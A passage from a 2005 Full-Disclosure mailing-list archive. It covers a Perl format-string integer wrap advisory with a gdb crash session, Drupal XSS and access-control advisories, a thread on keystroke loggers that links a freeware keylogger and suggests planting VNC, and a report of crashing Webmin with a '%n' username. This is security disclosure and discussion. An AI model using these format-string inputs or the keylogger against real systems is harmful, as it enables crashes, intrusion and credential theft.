Vision-X. :) > > > > > > WildCAT BBS Anyone???? :) > > > > I remember playing tradewars and calling who knows where to get new text > > files :) > > > > Used Tone-loC a lot more back then :) > > > > JP > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From advisory at dyadsecurity.com Thu Dec 1 09:03:47 2005 From: advisory at dyadsecurity.com (advisory at dyadsecurity.com) Date: Thu, 1 Dec 2005 01:03:47 -0800 Subject: [Full-disclosure] Perl format string integer wrap vulnerability Message-ID: <20051201090347.GH28337@5002.rapturesecurity.org> SUMMARY. perl suffers from an integer wrap overflow inside the explicit parameter format string functionality, this has been confirmed to be a vector for remote code execution. Date Found: September 23, 2005. Public Release: TBD. Application: perl Credit: Jack Louis of Dyad Security BACKGROUND. perl is a cross-platform scripting language. for more details see Perl.org DESCRIPTION. Value over INT_MAX(value of I) inside explicit parameter format string (%I$n) causes integer wrap in the efix (32bit signed integer) variable inside the function Perl_sv_vcatpvfn (see example 1) (sv.c:~9360). Allowing for a write value anywhere in memory exploitation vector (see example 2). Further, heap corruption itself is possible (see example 3), as are more exotic non-reliable $PC redirection (see example 4). From what we have seen the first exploitation method is the only valid one. ImmunitySec has found a generic method of controlling the first condition with a good amount of robustness and success. Perl itself is not directly vulnerable to remote attacks due to this flaw, however any perl program with format string vulnerabilities is. The vulnerability is not to limited DoS (as reported previously) but remote code execution as well as information leakage and DoS. IMPACT. Perl itself is not generally impacted by this vulnerability, but programs with format string vulnerabilities (Dyad Security has confirmed that several programs available at this time have this specific issue) can be vulnerable to remote code execution. Information about creating a robust generic exploit is forthcoming, so public knowledge of exploitation methods for this issue is in the cards. AFFECTED VERSIONS. Perl 5.9.2 and perl 5.8.6 have been tested and found to be vulnerable on linux, freebsd, dragonflybsd on the ia32 platform. It is assumed that a much larger range of software and platforms are also affected, as the sv.c seems to remain seemingly static over time, however this is not confirmed. EXAMPLE 1. $ gdb myperl/bin/perl5.8.7 GNU gdb 6.3 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) break sv.c:9232 Breakpoint 1 at 0x80c0df0: file sv.c, line 9232. (gdb) set args -e 'printf("%2147483647\$n");' (gdb) run Breakpoint 1, Perl_sv_vcatpvfn (sv=0x812d180, pat=0x0, patlen=0, args=0x0, svargs=0x8133080, svmax=0, maybe_tainted=0xbffb72cb "") at sv.c:9232 9232 in sv.c (gdb) p efix $1 = 2147483647 (gdb) set args -e 'printf("%2147483648\$n");' (gdb) run Breakpoint 1, Perl_sv_vcatpvfn (sv=0x812d180, pat=0x80000000

, patlen=0, args=0x0, svargs=0x8133080, svmax=0, maybe_tainted=0xbfb0640b "") at sv.c:9232 9232 in sv.c (gdb) p efix $2 = -2147483648 (gdb) cont Modification of a read-only value attempted at -e line 1. Program exited with code 0377. (gdb) set args -e 'printf("%2147483649\$n");' (gdb) run Breakpoint 1, Perl_sv_vcatpvfn (sv=0x812d180, pat=0x80000001

, patlen=0, args=0x0, svargs=0x8133080, svmax=0, maybe_tainted=0xbfe69b9b "") at sv.c:9232 9232 in sv.c (gdb) p efix $3 = -2147483647 (gdb) cont Program received signal SIGSEGV, Segmentation fault. Perl_sv_setiv (sv=0x0, i=0) at sv.c:1652 1652 in sv.c (gdb) bt #0 Perl_sv_setiv (sv=0x0, i=0) at sv.c:1652 #1 0x080b6349 in Perl_sv_setuv_mg (sv=0x0, u=0) at sv.c:1743 #2 0x080c0e06 in Perl_sv_vcatpvfn (sv=0x812d180, pat=0x80000001

, patlen=0, args=0x0, svargs=0x8133080, svmax=0, maybe_tainted=0xbfe69b9b "") at sv.c:9232 #3 0x080e923b in Perl_do_sprintf (sv=0x812d180, len=1, sarg=0x813307c) at doop.c:713 #4 0x080de48a in Perl_pp_prtf () at pp_sys.c:1489 #5 0x080ad038 in Perl_runops_standard () at run.c:37 #6 0x080615c7 in S_run_body (oldscope=1) at perl.c:2000 #7 0x080613ff in perl_run (my_perl=0x812d008) at perl.c:1919 #8 0x0805e61f in main (argc=3, argv=0xbfe69da4, env=0xbfe69db4) at perlmain.c:98 (gdb) x/i $eip 0x80b61a8 : mov 0x8(%ebx),%edx (gdb) i r ebx edx ebx 0x0 0 edx 0x812d180 135451008 (gdb) EXAMPLE 2. #0 Perl_sv_setiv (sv=0x815f821, i=0) at sv.c:2184 2184 SvIVX(sv) = i; (gdb) x/i $eip 0x80c815c : mov %esi,0xc(%eax) EXAMPLE 3. #0 0xb7e69fb0 in malloc_consolidate () from /lib/tls/libc.so.6 EXAMPLE 4. #0 0x09010e50 in ?? () FIXES. Due to the information that has already been leaked we moved up the release date of this advisory. There is no official fix for this issue as of yet. We have provided a sample patch for the 5.9.2 version. See http://www.dyadsecurity.com/perl-0002.html for additional information and a link to the patch. SPECIAL THANKS. Special thanks to Dave Aitel and Bas Alberts of ImmunitySec for the donation of resources and leading the difficult phase of exploit verification research. If you wish to obtain any exploits or further detailed information regarding this vulnerability, please contact ImmunitySec. LEGAL NOTICES. Copyright (C) 2005 Dyad Security, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of Dyad Security, Inc. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email advisoryreprint at dyadsecurity.com for permission. DISCLAIMER. The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. SEE ALSO. http://www.dyadsecurity.com/webmin-0001.html From uwe at hermann-uwe.de Thu Dec 1 15:45:49 2005 From: uwe at hermann-uwe.de (Uwe Hermann) Date: Thu, 1 Dec 2005 16:45:49 +0100 Subject: [Full-disclosure] [DRUPAL-SA-2005-007] Drupal 4.6.4 / 4.5.6 fixes XSS issue Message-ID: <20051201154549.GA18510@aragorn> ---------------------------------------------------------------------------- Drupal security advisory DRUPAL-SA-2005-007 ---------------------------------------------------------------------------- Advisory ID: DRUPAL-SA-2005-007 Project: Drupal core Date: 2005-11-30 Security risk: less critical Impact: normal Where: from remote Vulnerability: XSS ---------------------------------------------------------------------------- Description ----------- Ahmed Saad has brought to our attention a creative way to enter malicious HTML content. Upon further investigation we found that interpretation of broken HTML/SGML and various quirks in interpretation of correctly formed, but non-sensical attribute values by various browsers also allows entering malicious HTML content. These can lead to XSS attacks. XSS can lead to theft of accounts and services, user tracking, misinformation... Versions affected ----------------- Drupal 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5 Drupal 4.6.0, 4.6.1, 4.6.2, 4.6.3 Solution -------- - If you are running Drupal 4.5.x, then upgrade to Drupal 4.5.6. - If you are running Drupal 4.6.x, then upgrade to Drupal 4.6.4. Important notes --------------- We have developed a new XSS filtering system based on Ulf Harnhammar's kses library http://sourceforge.net/projects/kses/ . This filtering only happens for Filtered HTML content so if you are trusting a user to access the Full HTML input format then said user can enter malicious content, so please revise your input format settings. Filtered HTML now filters the style attribute unconditionally. And finally, filter writers can access this mechanism through the new filter_xss() function. Contact ------- The security contact for Drupal can be reached at security at drupal.org or using the form at http://drupal.org/contact. More information is available from http://drupal.org/security or from our security RSS feed http://drupal.org/security/rss.xml. // Uwe Hermann, on behalf of the Drupal Security Team. -- Uwe Hermann http://www.hermann-uwe.de | http://www.crazy-hacks.org http://www.it-services-uh.de | http://www.phpmeat.org http://www.unmaintained-free-software.org | http://www.holsham-traders.de -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051201/a272a068/attachment.bin From uwe at hermann-uwe.de Thu Dec 1 15:45:58 2005 From: uwe at hermann-uwe.de (Uwe Hermann) Date: Thu, 1 Dec 2005 16:45:58 +0100 Subject: [Full-disclosure] [DRUPAL-SA-2005-008] Drupal 4.6.4 / 4.5.6 fixes XSS and HTTP header injection issue Message-ID: <20051201154558.GB18510@aragorn> ---------------------------------------------------------------------------- Drupal security advisory DRUPAL-SA-2005-008 ---------------------------------------------------------------------------- Advisory ID: DRUPAL-SA-2005-008 Project: Drupal core Date: 2005-11-30 Security risk: less critical Impact: normal Where: from remote Vulnerability: XSS, HTTP header injection ---------------------------------------------------------------------------- Description ----------- Paul Laudanski informed us that it's possible to attach files that are able to run Javascript under Internet Explorer. Further investigation of the problem revealed that the same method can be used to inject arbitrary HTTP headers. Versions affected ----------------- Drupal 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5 Drupal 4.6.0, 4.6.1, 4.6.2, 4.6.3 Solution -------- - If you are running Drupal 4.5.x, then upgrade to Drupal 4.5.6. - If you are running Drupal 4.6.x, then upgrade to Drupal 4.6.4. Contact ------- The security contact for Drupal can be reached at security at drupal.org or using the form at http://drupal.org/contact. More information is available from http://drupal.org/security or from our security RSS feed http://drupal.org/security/rss.xml. // Uwe Hermann, on behalf of the Drupal Security Team. -- Uwe Hermann http://www.hermann-uwe.de | http://www.crazy-hacks.org http://www.it-services-uh.de | http://www.phpmeat.org http://www.unmaintained-free-software.org | http://www.holsham-traders.de -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051201/771f39ae/attachment.bin From uwe at hermann-uwe.de Thu Dec 1 15:46:14 2005 From: uwe at hermann-uwe.de (Uwe Hermann) Date: Thu, 1 Dec 2005 16:46:14 +0100 Subject: [Full-disclosure] [DRUPAL-SA-2005-009] Drupal 4.6.4 / 4.5.6 fixes minor access control issue Message-ID: <20051201154614.GC18510@aragorn> ---------------------------------------------------------------------------- Drupal security advisory DRUPAL-SA-2005-009 ---------------------------------------------------------------------------- Advisory ID: DRUPAL-SA-2005-009 Project: Drupal core Date: 2005-11-30 Security risk: not critical Impact: normal Where: from remote Vulnerability: bypass access control ---------------------------------------------------------------------------- Description ----------- Andrew Widdowson informed us that it's possible to bypass the 'access user profile' permission if the server is running PHP5. No data can be changed though. Versions affected ----------------- Drupal 4.6.0, 4.6.1, 4.6.2, 4.6.3 Solution -------- - If you are running Drupal 4.6.x and PHP5, then upgrade to Drupal 4.6.4. Contact ------- The security contact for Drupal can be reached at security at drupal.org or using the form at http://drupal.org/contact. More information is available from http://drupal.org/security or from our security RSS feed http://drupal.org/security/rss.xml. // Uwe Hermann, on behalf of the Drupal Security Team. -- Uwe Hermann http://www.hermann-uwe.de | http://www.crazy-hacks.org http://www.it-services-uh.de | http://www.phpmeat.org http://www.unmaintained-free-software.org | http://www.holsham-traders.de -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051201/d8f95ab0/attachment.bin From wilder_jeff at msn.com Thu Dec 1 16:11:35 2005 From: wilder_jeff at msn.com (wilder_jeff Wilder) Date: Thu, 01 Dec 2005 09:11:35 -0700 Subject: [Full-disclosure] Re: SOX whistleblowers' clause Compliance In-Reply-To: Message-ID: Can some please send me the actual regulation that states or validates the comments of http://www.nonprofitrisk.org/nwsltr/archive/employprac091005-p.htm ? I am in this very situation right now. -Jeff Wilder CISSP,CCE,C/EH -----BEGIN GEEK CODE BLOCK----- Version: 3.1 GIT/CM/CS/O d- s:+ a C+++ UH++ P L++ E- w-- N+++ o-- K- w O- M-- V-- PS+ PE- Y++ PGP++ t+ 5- X-- R* tv b++ DI++ D++ G e* h--- r- y+++* ------END GEEK CODE BLOCK------ >From: "Aditya Deshmukh" >Reply-To: adityad2005 at users.sourceforge.net >To: "'InfoSecBOFH'" >CC: full-disclosure at lists.grok.org.uk >Subject: RE: [Full-disclosure] Re: SOX whistleblowers' clause Compliance >Date: Thu, 1 Dec 2005 11:36:10 +0530 >MIME-Version: 1.0 >Received: from lists.grok.org.uk ([195.184.125.51]) by >bay0-mc7-f4.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 30 >Nov 2005 22:20:01 -0800 >Received: from lists.grok.org.uk (localhost [127.0.0.1])by >lists.grok.org.uk (Postfix) with ESMTP id D0597A1C;Thu, 1 Dec 2005 >06:19:51 +0000 (GMT) >Received: from Online.GateWay.TechnoPagans.COM (unknown [220.224.19.31])by >lists.grok.org.uk (Postfix) with ESMTP id CA6009C8for >;Thu, 1 Dec 2005 06:19:04 +0000 (GMT) >Received: from c5 (localhost [127.0.0.1])by Online.GateWay.Strangled.NET >with ESMTP (Mailtraq/2.7.1.1894) idONLN2AF3A0C3; Thu, 01 Dec 2005 11:36:12 >+0530 >X-Message-Info: JGTYoYF78jGGLGElHpjcGS/5PgtYfJvSs6ruuz19gQA= >X-Original-To: full-disclosure at lists.grok.org.uk >Delivered-To: full-disclosure at lists.grok.org.uk >Organization: Enterprise Security Solutions >X-Mailer: Microsoft Office Outlook 11 >X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 >Thread-Index: AcX1/vYkXiB6TIi0ToWrzUWPg4XoCgAPLSow >X-Hops: 1 >X-BeenThere: full-disclosure at lists.grok.org.uk >X-Mailman-Version: 2.1.5 >Precedence: list >List-Id: An unmoderated mailing list for the discussion of security >issues >List-Unsubscribe: >, > >List-Archive: >List-Post: >List-Help: >List-Subscribe: >, > >Errors-To: full-disclosure-bounces at lists.grok.org.uk >Return-Path: full-disclosure-bounces at lists.grok.org.uk >X-OriginalArrivalTime: 01 Dec 2005 06:20:03.0962 (UTC) >FILETIME=[445375A0:01C5F63F] > > > Seeing how my question was ignored. I will tell you the answer. > > > > There is no requirement in SOX to do this. > >Why cant you use google to find out this ? >------------------------------------------------------------------- >http://www.nonprofitrisk.org/nwsltr/archive/employprac091005-p.htm > >*In the para 4* >"Protecting whistleblowers is an essential component of an ethical >and open work environment." > >*In para 6* <----- this is the one that you want >"Provide Employees Multiple Avenues to Report Concerns" > > While employees will hopefully feel comfortable raising concerns > directly with their supervisors, many employees are reluctant to > raise concerns with line management for fear of retaliation, > especially where their concerns pertain to unethical or illegal > conduct by their line managers. Therefore, nonprofits should provide > several options for employees to raise concerns, including the > option of raising a concern anonymously. >------------------------------------------------------------------- >If you read the last line in para 6 you will find that anon mailbox >is a requirement for SOX compliance. > >And mailbox was ment for email Michael :) > >But I think that "with a post and some concrete" mailbox will be >Indeed be far more secure..... > > > >________________________________________________________________________ >Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.grok.org.uk/full-disclosure-charter.html >Hosted and sponsored by Secunia - http://secunia.com/ From mmadison at fnni.com Thu Dec 1 16:18:22 2005 From: mmadison at fnni.com (Madison, Marc) Date: Thu, 1 Dec 2005 10:18:22 -0600 Subject: [Full-disclosure] Re: SOX whistleblowers' clause Compliance Message-ID: Google "sox whistleblowers" = hard work But let me help you, http://www.whistleblowers.org/html/sox_whistleblower_statute.htm jeff Wilder wrote: >Can some please send me the actual regulation that states or validates the comments of >http://www.nonprofitrisk.org/nwsltr/archive/employprac091005-p.htm ? >I am in this very situation right now. From sjohnston at cavionplus.com Thu Dec 1 17:24:50 2005 From: sjohnston at cavionplus.com (Shannon Johnston) Date: Thu, 01 Dec 2005 10:24:50 -0700 Subject: [Full-disclosure] Most common keystroke loggers? Message-ID: <1133457890.12950.80.camel@localhost> Hi All, I'm looking for input on what you all believe the most common keystroke loggers are. I've been challenged to write an authentication method (for a web site) that can be secure while using a compromised system. Thanks, Shannon From foofus at foofus.net Thu Dec 1 17:55:36 2005 From: foofus at foofus.net (foofus at foofus.net) Date: Thu, 1 Dec 2005 11:55:36 -0600 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <1133457890.12950.80.camel@localhost> References: <1133457890.12950.80.camel@localhost> Message-ID: <20051201175536.GB9386@foofus.net> On Thu, Dec 01, 2005 at 10:24:50AM -0700, Shannon Johnston wrote: > I'm looking for input on what you all believe the most common keystroke > loggers are. I've been challenged to write an authentication method (for > a web site) that can be secure while using a compromised system. I can think of authentication methods that work (i.e., provide acceptably reliable assurance that the user is who he/she claims to be, without giving an eavesdropper the means to impersonate the user in future authentication transactions) under these conditions. I can't think of a way of providing any assurance that actions taken in the user's name are authentic representations of the user's intentions (i.e., a way of ensuring that requests made on the user's behalf are legitimate) if the user's system is compromised. Is that part of the challenge? --Foofus. From very at unprivate.com Thu Dec 1 17:53:02 2005 From: very at unprivate.com (Very Unprivate Software) Date: Thu, 1 Dec 2005 18:53:02 +0100 Subject: [Full-disclosure] Most common keystroke loggers? References: <1133457890.12950.80.camel@localhost> Message-ID: <01c201c5f6a0$13263b00$0200a8c0@DORKA> Since the purpose is showing that the authentication method is "safe" even on a compromised system (hm, hm...) the keystroke logger doesn't have to be common, the point is to show that the system is "under control". For that, just plant a vnc server, with that you can even do a nifty presentation. If you still want to combine this with a keylogger, an example of a simple and freeware one is at www.zorro.hu/sc-kl/ Can I ask what the authentication is about? greets, php0t ----- Original Message ----- From: "Shannon Johnston" To: Sent: Thursday, December 01, 2005 6:24 PM Subject: [Full-disclosure] Most common keystroke loggers? > Hi All, > I'm looking for input on what you all believe the most common keystroke > loggers are. I've been challenged to write an authentication method (for > a web site) that can be secure while using a compromised system. > > Thanks, > Shannon > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ From Valdis.Kletnieks at vt.edu Thu Dec 1 17:57:16 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Thu, 01 Dec 2005 12:57:16 -0500 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: Your message of "Thu, 01 Dec 2005 10:24:50 MST." <1133457890.12950.80.camel@localhost> References: <1133457890.12950.80.camel@localhost> Message-ID: <200512011757.jB1HvHmn021363@turing-police.cc.vt.edu> On Thu, 01 Dec 2005 10:24:50 MST, Shannon Johnston said: > I'm looking for input on what you all believe the most common keystroke > loggers are. I've been challenged to write an authentication method (for > a web site) that can be secure while using a compromised system. Forget it. You can't do it without going to two-factor authentication, *and* make sure that the second factor is *not* subvertible by the compromised system (for instance, even a SecureID won't totally work, because the keystroke logger can snarf what the user entered, use that to formulate a bogus request, and then issue the user's actual request, which should get rejected as a replay attack). Using crypto all the way from the web server to a smart-card (so all the compromised system can see is encrypted data it can't get the key for) can help yere. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051201/67a84e59/attachment.bin From foofus at foofus.net Thu Dec 1 18:04:57 2005 From: foofus at foofus.net (foofus at foofus.net) Date: Thu, 1 Dec 2005 12:04:57 -0600 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <200512011757.jB1HvHmn021363@turing-police.cc.vt.edu> References: <1133457890.12950.80.camel@localhost> <200512011757.jB1HvHmn021363@turing-police.cc.vt.edu> Message-ID: <20051201180457.GC9386@foofus.net> On Thu, Dec 01, 2005 at 12:57:16PM -0500, Valdis.Kletnieks at vt.edu wrote: > Forget it. You can't do it without going to two-factor authentication, > *and* make sure that the second factor is *not* subvertible by the > compromised system (for instance, even a SecureID won't totally work, > because the keystroke logger can snarf what the user entered, use that > to formulate a bogus request, and then issue the user's actual request, > which should get rejected as a replay attack). But note that this is not an *authentication* problem: SecurID did offer reliable evidence that the user in question was indeed present at the computer in question at the time of the request. If the challenge is just to provide safe authentication, this plan works: the user is authentic. It's the content of the request that's bogus, which is a subtly different issue. > Using crypto all the > way from the web server to a smart-card (so all the compromised system > can see is encrypted data it can't get the key for) can help yere. You sure? :) --Foofus. From BlueBoar at thievco.com Thu Dec 1 18:44:31 2005 From: BlueBoar at thievco.com (Blue Boar) Date: Thu, 01 Dec 2005 10:44:31 -0800 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <1133457890.12950.80.camel@localhost> References: <1133457890.12950.80.camel@localhost> Message-ID: <438F448F.402@thievco.com> Shannon Johnston wrote: > Hi All, > I'm looking for input on what you all believe the most common keystroke > loggers are. I've been challenged to write an authentication method (for > a web site) that can be secure while using a compromised system. I don't think that's possible for all compromise situations, given today's desktop OS software. It might be possible with a Palladium-like system (and you trust that the secure side isn't compromised) and/or a hardware assist that doesn't trust the host OS (think small USB-attached computer on a stick.) However, given your query, if you simply want to play the known-threats game, you can just require that the Client have up-to-date AV and antispyware software, and scans clean. That's a little orthogonal to the issue of trying to be secure in the face of a keylogger installed, but probably a better thing to shoot for. If, for some reason, you only care about the case where a "keylogger" is installed, then you can go with some scheme like making the user pick numbers of a randomly-scrambled keypad on the screen, with the mouse. Note, however, that "keyloggers" that grab some portion of the screen surrounding the mouse pointer every time you click have already been observed in the wild. They are designed to specifically defeat this kind of mechanism. BB From sopiaz57 at gmail.com Thu Dec 1 18:46:54 2005 From: sopiaz57 at gmail.com (Mike Jones) Date: Thu, 01 Dec 2005 13:46:54 -0500 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <20051201180457.GC9386@foofus.net> References: <1133457890.12950.80.camel@localhost> <200512011757.jB1HvHmn021363@turing-police.cc.vt.edu> <20051201180457.GC9386@foofus.net> Message-ID: <438F451E.4080506@gmail.com> Whats up with www.zorro.hu/sc-kl/ I download the .dll file to my desktop along with the .exe and they dissapear. Strange. Dos dosent show them, either does attrib. foofus at foofus.net wrote: >On Thu, Dec 01, 2005 at 12:57:16PM -0500, Valdis.Kletnieks at vt.edu wrote: > > >>Forget it. You can't do it without going to two-factor authentication, >>*and* make sure that the second factor is *not* subvertible by the >>compromised system (for instance, even a SecureID won't totally work, >>because the keystroke logger can snarf what the user entered, use that >>to formulate a bogus request, and then issue the user's actual request, >>which should get rejected as a replay attack). >> >> > >But note that this is not an *authentication* problem: SecurID did >offer reliable evidence that the user in question was indeed present >at the computer in question at the time of the request. > >If the challenge is just to provide safe authentication, this plan >works: the user is authentic. It's the content of the request that's >bogus, which is a subtly different issue. > > > >>Using crypto all the >>way from the web server to a smart-card (so all the compromised system >>can see is encrypted data it can't get the key for) can help yere. >> >> > >You sure? :) > >--Foofus. > >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.grok.org.uk/full-disclosure-charter.html >Hosted and sponsored by Secunia - http://secunia.com/ > > > From sopiaz57 at gmail.com Thu Dec 1 18:55:47 2005 From: sopiaz57 at gmail.com (Mike Jones) Date: Thu, 01 Dec 2005 13:55:47 -0500 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <01c201c5f6a0$13263b00$0200a8c0@DORKA> References: <1133457890.12950.80.camel@localhost> <01c201c5f6a0$13263b00$0200a8c0@DORKA> Message-ID: <438F4733.6020709@gmail.com> Haha disregard my previous post, forgot to disable my AV program. Thinks it's a trojan. Very Unprivate Software wrote: > > Since the purpose is showing that the authentication method is "safe" > even on a compromised system (hm, hm...) the keystroke logger doesn't > have to be common, the point is to show that the system is "under > control". For that, just plant a vnc server, with that you can even do > a nifty presentation. If you still want to combine this with a > keylogger, an example of a simple and freeware one is at > www.zorro.hu/sc-kl/ > > Can I ask what the authentication is about? > > greets, > php0t > > > ----- Original Message ----- From: "Shannon Johnston" > > To: > Sent: Thursday, December 01, 2005 6:24 PM > Subject: [Full-disclosure] Most common keystroke loggers? > > >> Hi All, >> I'm looking for input on what you all believe the most common keystroke >> loggers are. I've been challenged to write an authentication method (for >> a web site) that can be secure while using a compromised system. >> >> Thanks, >> Shannon >> _______________________________________________ >> Full-Disclosure - We believe in it. >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html >> Hosted and sponsored by Secunia - http://secunia.com/ > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From giarc at freenet.de Thu Dec 1 17:12:13 2005 From: giarc at freenet.de (giarc at freenet.de) Date: Thu, 01 Dec 2005 18:12:13 +0100 Subject: [Full-disclosure] re: webmin remote format string bug Message-ID: An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051201/568166db/attachment.html -------------- next part -------------- Hello! I succeeded in crashing webmin 1.230 with: username %n password aaaa after klicking 4 times on "Login" webmin was dead. There were no logs at all, and no error was shown in the web interface... Any idea if it's really exploitable (executing code I mean)? Is anyone working on a POC? giarc at freeet.de Original message: --------------------------------------------------------- To: full-disclosure at lists.grok.org.uk Date: Tue, 29 Nov 2005 11:15:20 -0600 On Tuesday 29 November 2005 04:07, advisory at dyadsecurity.com wrote: > [snip ] so so if remote code execution is successful, it would > lead to a full remote root compromise in a standard configuration. > DESCRIPTION. ?The username parameter of the login form is logged via > the perl `syslog' facility in an unsafe manner during a unknown user > login attempt. the perl syslog facility passes the username on to the > variable argument function sprintf that will treat any format > specifiers and process them accordingly. > > DETAILS. ?The vectors for a simple DoS of the web server are to use the > %n and %0(large number)d inside of the username parameter, with the > former causing a write protection fault within perl leading to script > abortion, and the latter causing a large amount of memory to be > allocated inside of the perl process. Sys::Syslog calls sprintf($format, @_). I tried testing this on perl 5.8.7 and don't see how this can be exploitable. ?The %n specifier results in the following error message: $ perl -e 'sprintf("%n")' Modification of a read-only value attempted at -e line 1. Using a thousand %p's results in the same address (presumably of the temporary char *) over and over again It is possible to memory starve webmin with a long %9999999999d string, but arbitrary memory writes seem to be out of the question. What version of perl was used by the third-party to exploit this? From craig at freenet.de Thu Dec 1 17:14:08 2005 From: craig at freenet.de (craig at freenet.de) Date: Thu, 01 Dec 2005 18:14:08 +0100 Subject: [Full-disclosure] re: webmin remote format string bug Message-ID: An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051201/28b6f430/attachment.html -------------- next part -------------- Hello! I succeeded in crashing webmin 1.230 with: username %n password aaaa after klicking 4 times on "Login" webmin was dead. There were no logs at all, and no error was shown in the web interface... Any idea if it's really exploitable (executing code I mean)? Is anyone working on a POC? giarc at freeet.de Original message: --------------------------------------------------------- To: full-disclosure at lists.grok.org.uk Date: Tue, 29 Nov 2005 11:15:20 -0600 On Tuesday 29 November 2005 04:07, advisory at dyadsecurity.com wrote: > [snip ] so so if remote code execution is successful, it would > lead to a full remote root compromise in a standard configuration. > DESCRIPTION. The username parameter of the login form is logged via > the perl `syslog' facility in an unsafe manner during a unknown user > login attempt. the perl syslog facility passes the username on to the > variable argument function sprintf that will treat any format > specifiers and process them accordingly. > > DETAILS. The vectors for a simple DoS of the web server are to use the > %n and %0(large number)d inside of the username parameter, with the > former causing a write protection fault within perl leading to script > abortion, and the latter causing a large amount of memory to be > allocated inside of the perl process. Sys::Syslog calls sprintf($format, @_). I tried testing this on perl 5.8.7 and don't see how this can be exploitable. The %n specifier results in the following error message: $ perl -e 'sprintf("%n")' Modification of a read-only value attempted at -e line 1. Using a thousand %p's results in the same address (presumably of the temporary char *) over and over again It is possible to memory starve webmin with a long %9999999999d string, but arbitrary memory writes seem to be out of the question. What version of perl was used by the third-party to exploit this? From david.harker at oneiria.co.uk Thu Dec 1 17:51:53 2005 From: david.harker at oneiria.co.uk (David Harker) Date: Thu, 01 Dec 2005 17:51:53 +0000 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <1133457890.12950.80.camel@localhost> References: <1133457890.12950.80.camel@localhost> Message-ID: <438F3839.2070606@oneiria.co.uk> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 It may be easier and safer to require the user to follow onscreen instructions for character substitution into their password than attempt to defeat many individual bits of software. Since it's online, a munged dynamic image could be used to supply the instructions quite easily... just a thought. D Shannon Johnston wrote: > Hi All, > I'm looking for input on what you all believe the most common keystroke > loggers are. I've been challenged to write an authentication method (for > a web site) that can be secure while using a compromised system. > > Thanks, > Shannon > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.1 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDjzg5v9m3+Z4yoCYRAk5IAJ9jBdNNzoQHcv9SZyUAz4GepY4qqQCfTjGx Z2FsjbgSsaXirw2sCj9Nd1c= =PjH9 -----END PGP SIGNATURE----- From ckopacsi at gmail.com Thu Dec 1 19:35:11 2005 From: ckopacsi at gmail.com (Christian kopacsi) Date: Thu, 1 Dec 2005 14:35:11 -0500 Subject: [Full-disclosure] Hacking Boot camps! In-Reply-To: <2be58a30511240143x745de181g3a31e79528b60e52@mail.gmail.com> References: <112420050024.28438.4385084D0006686500006F1622073000339C9C0E9D090D0E9D0CD29D019B0E020A9C@comcast.net> <2be58a30511240143x745de181g3a31e79528b60e52@mail.gmail.com> Message-ID: InfoSecBOFH, Show me on the doll where they touched you. You should see a therapist to get a grip on all your issues. And why would you talk shit about Clement? He has done so much for the Infosec community. On 11/24/05, InfoSecBOFH wrote: > > Bottom line is... and you can ignore the SANS instructor/SANS zealot > post... > > SANS = SHIT. > > Now that I am in a position with my employer to hire and fire > people... I will not even consider an applicant who touts his SANS > certification as something to be proud of or something to make him > more skilled than the next. > > And, now that I am in a senior position at my employer, I am doing > everything I can to stop my employer from paying the EXTORTION fees to > SANS in order to be a part of their what works program and any of > their training. > > You know what makes me smile everyday... the knowledge in knowing that > I am not the only senior infosec person at a major corporation who > 